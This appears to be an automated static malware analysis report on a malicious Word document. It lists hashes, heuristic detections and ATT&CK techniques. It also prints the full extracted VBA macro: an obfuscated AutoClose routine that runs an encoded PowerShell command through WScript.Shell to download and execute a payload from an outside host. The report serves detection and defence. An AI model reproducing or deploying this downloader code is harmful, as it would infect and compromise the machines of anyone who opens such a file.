Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9371809d87c41170…

MALICIOUS

Office (OOXML)

65.8 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-16
MD5: 214cf04320b749b795c189cf7cd2d804 SHA-1: 462dcfe908d67f60c19d4a5b94653ab87b2078ef SHA-256: 9371809d87c41170ba8bfab3241f5b31d664035c9a249ba6541ff9cd57cb374e
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoClose macro utilizes WScript.Shell and CreateObject to execute a PowerShell command. This command downloads a second-stage payload from the reconstructed URL 'http://poywebyzhgkansdqaqnooytre.com/SS/gesb.tzm' and executes it. The ClamAV detection 'Doc.Downloader.Powload-6707242-0' further confirms its downloader functionality.

Heuristics 8

  • ClamAV: Doc.Downloader.Powload-6707242-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6707242-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
         If extraverted - unilobe > 1 Then
       CreateObject("WScript.Shell").Run impanel, 0
       sana = False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If extraverted - unilobe > 1 Then
       CreateObject("WScript.Shell").Run impanel, 0
       sana = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  reinfliction = Array("F", "T", "w", "p", "3", "u", "D", "f", "F", "K", "9", "f", "K", "E", "A", "w", "A", "I", "A", "D", "A", "Q", "A", "3", "A", "V", "A", "D", "A", "n", "A", "n", "A", "z", "A", "D", "A", "j", "A", "D", "A", "K", "x", "7", "w", "e", "j", "q", "5", "K", "x", "e", "j", "D", "f", "K", "C", "R", "u", "H", "6", "6", "K", "x", "e", "T", "K")
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2970 bytes
SHA-256: 150ad1b6392ba736451cf277a0bd87ca662db06149ee7d041aad77d518dd4434
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function channellers(reinfliction)
  quercic = Array("R", "q", "H", "D", "w", "3", "5", "I", "F", "7", "f", "C", "V", "x", "j", "T", "E", "9", "K", "z", "p", "u", "Q", "n", "A", "6", "e")
  soil = Array("y", "i", "a", "e", "o", "S", "t", "w", "%", "N", "c", "B", "h", "-", "x", "C", "P", "/", " ", ".", "m", "p", "r", "l", "^", "s", "E")
  
  veto = vbNullString
  
  For Each alur In reinfliction
    uninfallible = sorbable(alur, quercic, UBound(quercic))
    If uninfallible > -1 Then
    veto = soil(uninfallible) & veto
    End If
  Next
  
  channellers = StrReverse(veto)
  
End Function

Public Function sorbable(swag, inwrapped, noncrinoid)
  wagon = 0
  tiltlike = -1
  For wagon = 0 To noncrinoid
    If inwrapped(wagon) = swag Then
     tiltlike = wagon
    End If
  Next
  
  sorbable = tiltlike
End Function

Sub AutoClose()
  reinfliction = Array("F", "T", "w", "p", "3", "u", "D", "f", "F", "K", "9", "f", "K", "E", "A", "w", "A", "I", "A", "D", "A", "Q", "A", "3", "A", "V", "A", "D", "A", "n", "A", "n", "A", "z", "A", "D", "A", "j", "A", "D", "A", "K", "x", "7", "w", "e", "j", "q", "5", "K", "x", "e", "j", "D", "f", "K", "C", "R", "u", "H", "6", "6", "K", "x", "e", "T", "K")
  Revision = "IAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAHAAbwB5AHcAZQBiAHoAaABnAGsAYQBuAHMAZABxAGEAbgBvAG8AeQB0AHIAZQAuAGMAbwBtAC8AUwBTAC8AZwBlAHMAYgAuAHQAegBtACcALAAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACAAKwAgACcAXAAtADEANQA2ADAAMQA5ADEANwA4ADgALgBlAHgAZQAnACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAnAFwALQAxADUANgAwADEAOQAxADcAOAA4AC4AZQB4AGUAJwA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AcABvAHkAdwBlAGIAegBoAGcAawBhAG4AcwBkAHEAYQBuAG8AbwB5AHQAcgBlAC4AYwBvAG0ALwBzAC4AcABoAHAAPwBpAGQAPQBnAGUAcwBiACcAKQA7AEkARQBYACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZwBpAGQAcgBvAGwAbwBnAGkAawBhAC4AcgB1AC8AUwB0AGEAdAAuAGMAbwB1AG4AdAAnACkAKQA7AA=="
  bored = channellers(reinfliction)
  
  Application.Run "tetrapteran", bored + Revision
  
End Sub


Private Sub tetrapteran(impanel)
   
   unilobe = DateDiff("s", #1/1/1970#, Now())
   sana = True
   
   While sana
     extraverted = DateDiff("s", #1/1/1970#, Now())
     If extraverted - unilobe > 1 Then
       CreateObject("WScript.Shell").Run impanel, 0
       sana = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13312 bytes
SHA-256: 772c2a399e28341eafad3fcfeed32831e76f32b81196ee6463ce672a2b88a784
Detection
ClamAV: Doc.Downloader.Powload-6707242-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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